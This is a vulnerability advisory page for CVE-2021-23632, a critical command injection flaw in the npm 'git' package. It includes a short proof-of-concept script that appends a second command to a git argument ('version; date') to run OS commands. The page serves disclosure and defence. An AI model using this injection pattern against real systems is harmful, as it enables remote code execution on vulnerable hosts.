CVE-2021-23632
Last modified
CVE-2021-23632 is a critical-severity vulnerability rated 9.8/10 on the CVSS scale. All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. EPSS estimates a 2.20% chance of exploitation in the next 30 days.
Description
All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.
Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness Enumeration
Affected Software
| Vendor | Product | Versions |
|---|---|---|
| Git Project | Git | <= 0.1.5 |
References
- https://snyk.io/vuln/SNYK-JS-GIT-1568518Exploit, Third Party Advisory
- https://snyk.io/vuln/SNYK-JS-GIT-1568518Exploit, Third Party Advisory
Timeline
- Published
- Last Modified
- Status
- Modified
Frequently Asked Questions
What is CVE-2021-23632?
How severe is CVE-2021-23632?
How do I fix CVE-2021-23632?
Are you affected by CVE-2021-23632?
Run a free Strix scan to check your systems for this vulnerability.
Scan your code nowSource: NVD / NIST
